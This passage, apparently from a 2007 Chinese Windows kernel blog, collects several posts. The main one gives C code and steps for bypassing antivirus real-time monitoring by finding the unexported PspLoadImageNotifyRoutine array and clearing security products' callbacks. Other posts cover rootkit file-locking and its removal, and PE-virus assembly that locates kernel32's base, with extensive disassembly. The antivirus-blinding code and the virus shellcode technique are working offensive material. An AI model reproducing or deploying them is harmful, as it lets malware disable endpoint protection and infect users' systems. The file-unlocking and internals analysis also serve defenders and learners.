DWORD          dwCheckAddr;
DWORD          dwNotifyItemAddr;
DWORD*         pPspLINotifyRoutine;
UNICODE_STRING unstrFunc;

RtlInitUnicodeString(&unstrFunc, L"PsSetLoadImageNotifyRoutine");

pCheckArea = (BYTE*)MmGetSystemRoutineAddress (&unstrFunc) ;
if (!pCheckArea)
{
  KdPrint(("[RTMonitor] MmGetSystemRoutineAddress failed."));
  return 0;
}

for (i=0; i<100; i++)
{
  dwCheckAddr         = *(DWORD*)pCheckArea;
  pPspLINotifyRoutine = (DWORD*)dwCheckAddr;

  if (MmIsAddressValid(pPspLINotifyRoutine))
  {
   KdPrint(("[RTMonitor] Vaild Addr: %x", pPspLINotifyRoutine));

   dwNotifyItemAddr = *pPspLINotifyRoutine;

//内核中关于Notify地址记录问题，在winxp(win2003)与win2000(NT4.0)下差异很大
#if defined (_WINXP_) || defined (_WIN2003_)

   for (j=0; j<8; j++)
   {
    if (dwNotifyItemAddr != NULL && MmIsAddressValid((void*)dwNotifyItemAddr))
    {
     if (*(DWORD*)(dwNotifyItemAddr-3) == (DWORD)MyNotifyRoutine)
     {

      KdPrint(("[RTMonitor] Find PspLoadImageNotifyRoutine: %x", pPspLINotifyRoutine));

      return (DWORD)pPspLINotifyRoutine;
     }
    }
    dwNotifyItemAddr++;
   }
#else

   for (j=0; j<8; j++)
   {
    if (dwNotifyItemAddr == (DWORD)MyNotifyRoutine)
    {

     KdPrint(("[RTMonitor] Find PspLoadImageNotifyRoutine: %x", pPspLINotifyRoutine));

     return (DWORD)pPspLINotifyRoutine;
    }
    dwNotifyItemAddr++;
   }
#endif

  }
  pCheckArea++;
}

return 0;
}

ps:关于PsSetCreateProcessNotifyRoutine和Attach File System部分，我在下面一篇文章会分析，
1）PsSetCreateProcessNotifyRoutine修复的方法和PsSetLoadImageNotifyRoutine一样。
2）Attach File System修复的方法是通用解除Attach的方法！详见IoAttachDevice的实现，反过来就可以了。
具体参见下篇文章 :)

绕过杀毒软件之一（实时监控篇）

垃圾一堆 — Thu, 31 May 2007 10:10:00 GMT

杀毒软件的实时监控分为两个部分
  一：Notify部分
二：Attach到文件系统部分

一：Notify对与杀毒软件致关重要（有些流氓软件也用的），主要用到的是
   PsSetLoadImageNotifyRoutine和
   PsSetCreateProcessNotifyRoutine这两个函数

1 PsSetLoadImageNotifyRoutine(
  IN PLOAD_IMAGE_NOTIFY_ROUTINE  NotifyRoutine
  );
  通过字面意思大家也知道，就是文件被加载的时侯会调用这个NotifyRoutine；最简单的是一个Exe在Run的过程中，PE加载器检查它所depend的dll，然后由PE加载器LoadLibaray这些dll，此时NotifyRoutine就被调用起来了。
(PS:这个NotifyRoutine就是一个callback)

part1: 2k下的分析
kd> u PsSetLoadImageNotifyRoutine L10
nt!PsSetLoadImageNotifyRoutine:
804e31d4 b89a0000c0       mov     eax,0xc000009a
804e31d9 33c9             xor     ecx,ecx
804e31db ba20324880       mov     edx,0x80483220
804e31e0 833a00           cmp     dword ptr [edx],0x0
804e31e3 740e             jz      nt!PsSetLoadImageNotifyRoutine+0x1f (804e31f3)
804e31e5 83c204           add     edx,0x4
804e31e8 41               inc     ecx
804e31e9 81fa40324880     cmp     edx,0x80483240
804e31ef 72ef             jb     nt!PsSetLoadImageNotifyRoutine+0xc (804e31e0)
804e31f1 eb1a             jmp     nt!PsSetLoadImageNotifyRoutine+0x39 (804e320d)
804e31f3 8b442404         mov     eax,[esp+0x4]
804e31f7 ff0504324880 inc dword ptr [nt!PspLoadImageNotifyRoutineCount (80483204
)]
804e31fd 89048d20324880 mov [nt!PspLoadImageNotifyRoutine (80483220)+ecx*4],eax
804e3204 33c0             xor     eax,eax
804e3206 c6051031488001 mov byte ptr [nt!PsImageNotifyEnabled (80483110)],0x1
804e320d c20400           ret     0x4

对应c代码：
ULONG i;
NTSTATUS Status;
Status = STATUS_INSUFFICIENT_RESOURCES;
for (i=0; i < PSP_MAX_LOAD_IMAGE_NOTIFY; i++)
{
   if (PspLoadImageNotifyRoutine[i] == NULL)
   {
       PspLoadImageNotifyRoutine[i] = NotifyRoutine;
       PspLoadImageNotifyRoutineCount+= 1;
       Status = STATUS_SUCCESS;
       PsImageNotifyEnable= TRUE;
       break;
   }
}

我们如果不想让某个NotifyRoutine监控，就把它在PspLoadImageNotifyRoutine数组中对应项清空，可是PspLoadImageNotifyRoutine并没有导出，我们不能直接调用，有什么方法呢？

1) 我们自己写个MyNotifyRoutine.
    VOID MyNotifyRoutine(
    IN PUNICODE_STRING  FullImageName,
    IN HANDLE  ProcessId,
    IN PIMAGE_INFO  ImageInfo)
{
    return;
}

2) PsSetLoadImageNotifyRoutine(MyNotifyRoutine);

3) 直接在PsSetLoadImageNotifyRoutine函数里找有效地址，然后访问这个地址，看有没有MyNotifyRoutine的地址，没有的话再找下一个；

4）直到找到为止，那么此时这个有效地址就是PspLoadImageNotifyRoutine的地址了

5）遍历PspLoadImageNotifyRoutine数组中的地址，检查这些地址是否落在某个驱动程序的地址范围，如果是的话，清了这一项，现在再LoadLibrary这个驱动程序就不会收到任何通知了。
如果你闲麻烦就直接把PspLoadImageNotifyRoutine所有项都清理掉。

part2: xp/2003下的分析
lkd> u PsSetLoadImageNotifyRoutine L25
nt!PsSetLoadImageNotifyRoutine:
8062d4f7 8bff             mov     edi,edi
8062d4f9 55               push    ebp
8062d4fa 8bec             mov     ebp,esp
8062d4fc 53               push    ebx
8062d4fd 57               push    edi
8062d4fe 33ff             xor     edi,edi
8062d500 57               push    edi
8062d501 ff7508           push    dword ptr [ebp+0x8]
8062d504 e833790100       call    nt!ExAllocateCallBack (80644e3c)
8062d509 8bd8             mov     ebx,eax
8062d50b 3bdf             cmp     ebx,edi
8062d50d 7507             jnz     nt!PsSetLoadImageNotifyRoutine+0x1f (8062d516)
8062d50f b89a0000c0       mov     eax,0xc000009a
8062d514 eb2a             jmp     nt!PsSetLoadImageNotifyRoutine+0x49 (8062d540)
8062d516 56               push    esi
8062d517 be001d5680       mov     esi,0x80561d00
8062d51c 6a00             push    0x0
8062d51e 53               push    ebx
8062d51f 56               push    esi
8062d520 e84e790100       call    nt!ExCompareExchangeCallBack (80644e73)
8062d525 84c0             test    al,al
8062d527 751d             jnz     nt!PsSetLoadImageNotifyRoutine+0x4f (8062d546)
8062d529 83c704           add     edi,0x4
8062d52c 83c604           add     esi,0x4
8062d52f 83ff20           cmp     edi,0x20
8062d532 72e8             jb      nt!PsSetLoadImageNotifyRoutine+0x25 (8062d51c)
8062d534 53               push    ebx
8062d535 e89134f4ff       call    nt!RtlpSysVolFree (805709cb)
8062d53a b89a0000c0       mov     eax,0xc000009a
8062d53f 5e               pop     esi
8062d540 5f               pop     edi
8062d541 5b               pop     ebx
8062d542 5d               pop     ebp
8062d543 c20400           ret     0x4

对应c代码：
     ULONG i;
     PEX_CALLBACK_ROUTINE_BLOCK CallBack;

     CallBack = ExAllocateCallBack((PEX_CALLBACK_FUNCTION) NotifyRoutine, NULL);
     if (CallBack == NULL) {
         return STATUS_INSUFFICIENT_RESOURCES;
     }

     for (i = 0; i < PSP_MAX_LOAD_IMAGE_NOTIFY; i++) {

         if (ExCompareExchangeCallBack(&PspLoadImageNotifyRoutine[i],
                                        CallBack,
                                        NULL)) {
             InterlockedIncrement ((PLONG)&PspLoadImageNotifyRoutineCount);
             PsImageNotifyEnable = TRUE;
             return STATUS_SUCCESS;
         }
     }
     ExFreeCallBack(CallBack);

    return STATUS_INSUFFICIENT_RESOURCES;

2 PsSetCreateProcessNotifyRoutine

二 Attach到文件系统部分

小议文件保护和锁定技术

垃圾一堆 — Wed, 18 Apr 2007 06:59:00 GMT

近1年来互连网上的木马越来越多，有的还删除不掉，要切换到dos才可行，如：CNNC，3721等，实现技术也五花八门，但就文件不可删除的实现技术可分三类：

1 Attach file system; 这种技术和Filemon/sfilter查不多，就是挂一个filter驱动到fs上，其他函数都是passthru下去，只处理IRP_MJ_SET_INFORMATION，当发现有删除需保护文件的IRP，就
Irp->IoStatus.Status = STATUS_SUCCESS;
Irp->IoStatus.Information = 0;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
更本不让Fs去处理，从而达到文件不可删除的作用！

有什么方法可以删除呢？自己写个驱动自己填充irp包（见OSR文档Rolling Your Own），直接发送IRP到File System Device上去就ok啦！

2 修改file system的dispatch函数表; 首先得到Fs的DriverObject(根据驱动名得到驱动设备对象(ObReferenceObjectByName(IoDriverObjectType)))，pDriverObject->MajorFunction[IRP_MJ_SET_INFORMATION] = MySetInformation，然后再MySetInformation中再调用原来的调度函数，类似于HookApi;发现有删除
需保护文件的IRP，就直接IoCompleteRequest，更本不让原来的FsSetInformation处理！

有什么方法可以删除呢？自己写个驱动来修复Fs的dispatch函数表，读Fs的原始文件，根据PE文件得到Fs的Entrypoint，dispatch函数表的填充都在EntryPoint后面,我们可以根据Opcode查找,XX XX XX XX就是我们要找的dispatch的原始地址；找到后pDriverObject->MajorFunction[IRP_MJ_SET_INFORMATION] = XX XX XX XX，然后就能删除文件啦！

FunOpc=MajorFunction*4+0x38
C7 46 FunOpc[<80] XX XX XX XX  mov     dword ptr [esi+50h], offset _NtfsFsdSetInformation
C7 86 FunOpc[>=80] XX XX XX XX
C7 43 FunOpc[<80] XX XX XX XX  mov     dword ptr [ebx+50h], offset _NtfsFsdSetInformation
C7 83 FunOpc[>=80] XX XX XX XX

3 通过ZwCreateFile把文件锁定；删除时报告“文件正在使用，禁止删除”，具体原理自己摸索吧，反正是通过ZwCreateFile实现的！

有什么方法可以删除呢？
  step1 :通过QuerySystemInformation(SystemHandleInformation)得到当前系统的所有句柄信息
step2 :遍历当前所有进程，根据进程ID，得到此进程打开的所有句柄信息
Step3 :把句柄发送给我们的驱动程序，驱动程序根据ObQueryNameString得到句柄的路径信息,然后再传给我们的应用程序
  Step4 :如果是我们要删除文件的路径，应用程序调用DuplicateHandle(DUPLICATE_CLOSE_SOURCE),句柄被关闭了，现在可以删除文件了！
注：QuerySystemInformation的使用说明见The Undocumented Functions，或者http://undocumented.ntinternals.net，第三种解除文件锁定的方法是我反汇编Unlock软件学习到的

最后感谢7cat的帮助！

小议PE病毒技术

垃圾一堆 — Tue, 17 Apr 2007 08:53:00 GMT

Win32 PE病毒和普通Win32 PE程序一样需要调用API函数，但是普通的Win32 PE程序里面有一个导入函数表，该导入函数表对应了代码段中所用到的api函数在动态连接库中的真实地址（由PE Loader去填充这个地址的）。这样，调用api函数时就可以通过该导入函数表找到相应api函数的真正执行地址。

但是对于Win32 PE病毒来说，他只有一个代码段，他并不存在引入函数段。既然如此，病毒就无法象普通PE程序那样直接调用相关API函数，而应该先找出这些API函数在相应动态链接库中的地址。

我们知道通过LoadLibrary和GetProcAddress可以很方便的得到函数的地址，从而方便的去Call，而这两个函数是在kernel32.dll中被导出的，所以我们必须先得到kernel32.dll的基地址，然后再去找
nStart:
    pop ebp
    sub ebp, offset nStart

    ;得到kernel32加载的地址
    mov   dword ptr [ebp+appBase],ebp
    mov   eax,[esp]               ;返回地址
    xor   edx,edx

Get_K32Base:
    dec   eax                                         ;逐字节比较验证，速度比较慢，不过功能一样
    mov   dx,word ptr [eax+IMAGE_DOS_HEADER.e_lfanew] ;就是ecx+3ch
    test dx,0f000h                                   ;Dos Header+stub不可能太大,超过4096byte
    jnz   Get_K32Base                                 ;加速检验，下一个
    cmp   eax,dword ptr [eax+edx+IMAGE_NT_HEADERS.OptionalHeader.ImageBase]
    jnz   Get_K32Base                                 ;看Image_Base值是否等于ecx即模块起始值
    mov   [ebp+k32Base],eax                           ;如果是,就认为找到kernel32的模块装入地址


//这个是通过逐字节比较验证，速度比较慢，我们可以知道通过一页一页去比较，这个暂且不讨论

注意这一句 mov   eax,[esp] 为什么此时[Esp]是在Kernel32.dll中内？？
也就是为什么我们进入EntryPoint时esp是指向kernel32.dll的呢?(OS2003中此时的ESP = 0x77EIF38C)

我们来看看进程创建的整个过程
1 CreateProcessA         call CreateProcessInternalA
2 CreateProcessInternalA call CreateProcessInternalW
3 CreateProcessInternalW call BasepInitializeContext
4 BasepInitializeContext mov dword ptr [eax+0B8h], offsetBaseProcessStart;//这里其实类似一个回调

//其实BaseProcessStart是我们程序在内核中真正启动地址！
5 BaseProcessStart所做的动作是：建立SEH，NtSetInformationThread（启动线程）, ebp+8其实是我们的EntryPoint

具体阅读汇编代码和ReactOS代码（或者Nt4.0代码）

======================================================================

.text:77E48939 CreateProcessA proc near               ; CODE XREF: LoadModule+13Dp
.text:77E48939
.text:77E48939 lpApplicationName= dword ptr 8
.text:77E48939 lpCommandLine   = dword ptr 0Ch
.text:77E48939 lpProcessAttributes= dword ptr 10h
.text:77E48939 lpThreadAttributes= dword ptr 14h
.text:77E48939 bInheritHandles = dword ptr 18h
.text:77E48939 dwCreationFlags = dword ptr 1Ch
.text:77E48939 lpEnvironment   = dword ptr 20h
.text:77E48939 lpCurrentDirectory= dword ptr 24h
.text:77E48939 lpStartupInfo   = dword ptr 28h
.text:77E48939 lpProcessInformation= dword ptr 2Ch
.text:77E48939
.text:77E48939                 push    ebp
.text:77E4893A                 mov     ebp, esp
.text:77E4893C                 push    0
.text:77E4893E                 push    [ebp+lpProcessInformation]
.text:77E48941                 push    [ebp+lpStartupInfo]
.text:77E48944                 push    [ebp+lpCurrentDirectory]
.text:77E48947                 push    [ebp+lpEnvironment]
.text:77E4894A                 push    [ebp+dwCreationFlags]
.text:77E4894D                 push    [ebp+bInheritHandles]
.text:77E48950                 push    [ebp+lpThreadAttributes]
.text:77E48953                 push    [ebp+lpProcessAttributes]
.text:77E48956                 push    [ebp+lpCommandLine]
.text:77E48959                 push    [ebp+lpApplicationName]
.text:77E4895C                 push    0
.text:77E4895E                 call    CreateProcessInternalA
.text:77E48963                 pop     ebp
.text:77E48964                 retn    28h
.text:77E48964 CreateProcessA endp

======================================================================
.text:77E48A6D CreateProcessInternalA proc near        ; CODE XREF: WinExec+3Fp
.text:77E48A6D                                         ; WinExec+A4p ...
.text:77E48A6D
.text:77E48A6D ; FUNCTION CHUNK AT .text:77E488A4 SIZE 00000023 BYTES
.text:77E48A6D ; FUNCTION CHUNK AT .text:77E488F6 SIZE 0000000B BYTES
.text:77E48A6D ; FUNCTION CHUNK AT .text:77E48967 SIZE 00000101 BYTES
.text:77E48A6D
.text:77E48A6D                 push    98h
.text:77E48A72                 push    offset dword_77E542F0
.text:77E48A77                 call    sub_77E116F6
.text:77E48A7C                 xor     ebx, ebx
.text:77E48A7E                 cmp     [ebp+10h], ebx
.text:77E48A81                 jz      loc_77E488A9
.text:77E48A87                 push    dword ptr [ebp+10h]
.text:77E48A8A                 lea     eax, [ebp-44h]
.text:77E48A8D                 push    eax
.text:77E48A8E                 call    sub_77E19AA8
.text:77E48A93                 test    eax, eax
.text:77E48A95                 jz      loc_77E488A4
.text:77E48A9B
.text:77E48A9B loc_77E48A9B:                           ; CODE XREF: CreateProcessInternalA-1B8j
.text:77E48A9B                 mov     [ebp-4Ch], ebx
.text:77E48A9E                 mov     [ebp-34h], ebx
.text:77E48AA1                 push    11h
.text:77E48AA3                 pop     ecx
.text:77E48AA4                 mov     esi, [ebp+2Ch]
.text:77E48AA7                 lea     edi, [ebp-0A8h]
.text:77E48AAD                 rep movsd
.text:77E48AAF                 mov     [ebp-0A4h], ebx
.text:77E48AB5                 mov     [ebp-0A0h], ebx
.text:77E48ABB                 mov     [ebp-9Ch], ebx
.text:77E48AC1                 mov     [ebp-4], ebx
.text:77E48AC4                 xor     esi, esi
.text:77E48AC6                 inc     esi
.text:77E48AC7                 mov     [ebp-4], esi
.text:77E48ACA                 cmp     [ebp+0Ch], ebx
.text:77E48ACD                 jnz     loc_77E48A4D
.text:77E48AD3
.text:77E48AD3 loc_77E48AD3:                           ; CODE XREF: CreateProcessInternalA-12j
.text:77E48AD3                 cmp     [ebp+28h], ebx
.text:77E48AD6                 jnz     short loc_77E48B4E
.text:77E48AD8
.text:77E48AD8 loc_77E48AD8:                           ; CODE XREF: CreateProcessInternalA+F5j
.text:77E48AD8                 mov     eax, [ebp+2Ch]
.text:77E48ADB                 mov     eax, [eax+4]
.text:77E48ADE                 cmp     eax, ebx
.text:77E48AE0                 jnz     loc_77E489E3
.text:77E48AE6
.text:77E48AE6 loc_77E48AE6:                           ; CODE XREF: CreateProcessInternalA+18Aj
.text:77E48AE6                 mov     eax, [ebp+2Ch]
.text:77E48AE9                 mov     eax, [eax+8]
.text:77E48AEC                 cmp     eax, ebx
.text:77E48AEE                 jnz     loc_77E48971
.text:77E48AF4
.text:77E48AF4 loc_77E48AF4:                           ; CODE XREF: CreateProcessInternalA-8Fj
.text:77E48AF4                 mov     eax, [ebp+2Ch]
.text:77E48AF7                 mov     eax, [eax+0Ch]
.text:77E48AFA                 cmp     eax, ebx
.text:77E48AFC                 jnz     short loc_77E48B71
.text:77E48AFE
.text:77E48AFE loc_77E48AFE:                           ; CODE XREF: CreateProcessInternalA+16Bj
.text:77E48AFE                 mov     [ebp-4], ebx
.text:77E48B01                 mov     eax, [ebp-40h]
.text:77E48B04                 cmp     eax, ebx
.text:77E48B06                 jz      loc_77E488F6
.text:77E48B0C
.text:77E48B0C loc_77E48B0C:                           ; CODE XREF: CreateProcessInternalA-171j
.text:77E48B0C                 push    dword ptr [ebp+34h]
.text:77E48B0F                 push    dword ptr [ebp+30h]
.text:77E48B12                 lea     ecx, [ebp-0A8h]
.text:77E48B18                 push    ecx
.text:77E48B19                 push    dword ptr [ebp-34h]
.text:77E48B1C                 push    dword ptr [ebp+24h]
.text:77E48B1F                 push    dword ptr [ebp+20h]
.text:77E48B22                 push    dword ptr [ebp+1Ch]
.text:77E48B25                 push    dword ptr [ebp+18h]
.text:77E48B28                 push    dword ptr [ebp+14h]
.text:77E48B2B                 push    eax
.text:77E48B2C                 push    dword ptr [ebp-4Ch]
.text:77E48B2F                 push    dword ptr [ebp+8]
.text:77E48B32                 call    CreateProcessInternalW//-------@*@*@*@*@*@*@*@*@*@*@*@*@*@-------
.text:77E48B37                 mov     [ebp-1Ch], eax
.text:77E48B3A
.text:77E48B3A loc_77E48B3A:                           ; CODE XREF: CreateProcessInternalA-Aj
.text:77E48B3A                 or      dword ptr [ebp-4], 0FFFFFFFFh
.text:77E48B3E                 call    sub_77E48C0F
.text:77E48B43                 mov     eax, [ebp-1Ch]
.text:77E48B46
.text:77E48B46 loc_77E48B46:                           ; CODE XREF: CreateProcessInternalA:loc_77E488A4j
.text:77E48B46                 call    sub_77E11736
.text:77E48B4B                 retn    30h

======================================================================
CreateProcessInternalW+A50:
.......(省略)
.text:77E22A5A                 lea     ecx, [ebp-344h]
.text:77E22A60                 push    ecx
.text:77E22A61                 push    eax
.text:77E22A62                 push    dword ptr [ebp-1F0h]
.text:77E22A68                 push    dword ptr [ebp-28h]
.text:77E22A6B                 call    sub_77E1AA15
.text:77E22A70                 mov     [ebp-250h], eax
.text:77E22A76                 cmp     eax, ebx
.text:77E22A78                 jl      loc_77E23707
.text:77E22A7E                 push    ebx
.text:77E22A7F                 push    dword ptr [ebp-33Ch]
.text:77E22A85                 push    dword ptr [ebp-1FCh]
.text:77E22A8B                 push    edi
.text:77E22A8C                 lea     eax, [ebp-9A0h]
.text:77E22A92                 push    eax
.text:77E22A93                 call    sub_77E1ABE7//-------@*@*@*@*@*@*@*@*@*@*@*@*@*@-------
.......(省略)

======================================================================
BasepInitializeContext://ReactOs代码上是这样命名的

.text:77E1ABE7 sub_77E1ABE7    proc near               ; CODE XREF: CreateRemoteThread+63p
.text:77E1ABE7                                         ; CreateProcessInternalW+A50p ...
.text:77E1ABE7
.text:77E1ABE7 arg_0           = dword ptr 8
.text:77E1ABE7 arg_4           = dword ptr 0Ch
.text:77E1ABE7 arg_8           = dword ptr 10h
.text:77E1ABE7 arg_C           = dword ptr 14h
.text:77E1ABE7 arg_10          = dword ptr 18h
.text:77E1ABE7
.text:77E1ABE7 ; FUNCTION CHUNK AT .text:77E1AB94 SIZE 0000004E BYTES
.text:77E1ABE7
.text:77E1ABE7                 push    ebp
.text:77E1ABE8                 mov     ebp, esp
.text:77E1ABEA                 mov     eax, [ebp+arg_0]
.text:77E1ABED                 mov     ecx, [ebp+arg_8]
.text:77E1ABF0                 push    ebx
.text:77E1ABF1                 mov     [eax+0B0h], ecx
.text:77E1ABF7                 mov     ecx, [ebp+arg_4]
.text:77E1ABFA                 push    esi
.text:77E1ABFB                 mov     esi, [eax]
.text:77E1ABFD                 mov     [eax+0A4h], ecx
.text:77E1AC03                 push    20h
.text:77E1AC05                 pop     ecx
.text:77E1AC06                 mov     [eax+94h], ecx
.text:77E1AC0C                 mov     [eax+98h], ecx
.text:77E1AC12                 mov     [eax+0C8h], ecx
.text:77E1AC18                 mov     ecx, [ebp+arg_C]
.text:77E1AC1B                 xor     ebx, ebx
.text:77E1AC1D                 add     ecx, 0FFFFFFFCh
.text:77E1AC20                 cmp     [ebp+arg_10], 1
.text:77E1AC24                 lea     edx, [eax+0C4h]
.text:77E1AC2A                 mov     [eax+8Ch], ebx
.text:77E1AC30                 mov     dword ptr [eax+90h], 38h
.text:77E1AC3A                 mov     dword ptr [eax+0BCh], 18h
.text:77E1AC44                 mov     dword ptr [eax], 10007h
.text:77E1AC4A                 mov     dword ptr [eax+0C0h], 3000h
.text:77E1AC54                 mov     [edx], ecx
.text:77E1AC56                 jz      short loc_77E1AC72
.text:77E1AC58                 cmp     [ebp+arg_10], 2
.text:77E1AC5C                 jz      loc_77E1AB94
.text:77E1AC62                 mov     dword ptr [eax+0B8h], offset loc_77E1F35F//-------@*@*@*@*@*@*@*@*@*@*@*@*@*@-------
.text:77E1AC6C
.text:77E1AC6C loc_77E1AC6C:                           ; CODE XREF: sub_77E1ABE7-40j
.text:77E1AC6C                                         ; sub_77E1ABE7-17j ...
.text:77E1AC6C                 pop     esi
.text:77E1AC6D                 pop     ebx
.text:77E1AC6E                 pop     ebp
.text:77E1AC6F                 retn    14h

======================================================================
BaseProcessStart:
.text:77E1F35F loc_77E1F35F:                           ; DATA XREF: sub_77E1ABE7+7Bo
.text:77E1F35F                 xor     ebp, ebp
.text:77E1F361                 push    eax
.text:77E1F362                 push    0
.text:77E1F364                 nop
.text:77E1F365                 nop
.text:77E1F366                 nop
.text:77E1F367                 nop
.text:77E1F368                 nop
.text:77E1F369                 push    0Ch
.text:77E1F36B                 push    offset dword_77E522E0
.text:77E1F370                 call    sub_77E116F6(SEH)
.text:77E1F375                 and     dword ptr [ebp-4], 0
.text:77E1F379                 push    4
.text:77E1F37B                 lea     eax, [ebp+8]
.text:77E1F37E                 push    eax
.text:77E1F37F                 push    9
.text:77E1F381                 push    0FFFFFFFEh
.text:77E1F383                 call    ds:NtSetInformationThread
.text:77E1F389                 call    dword ptr [ebp+8];//我们程序的入口,(push 0x77E1F38C; jmp dword ptr [ebp+8])
.text:77E1F38C                 push    eax
                               call    exitthread;//我们程序正常退出时还要调用ExitThread！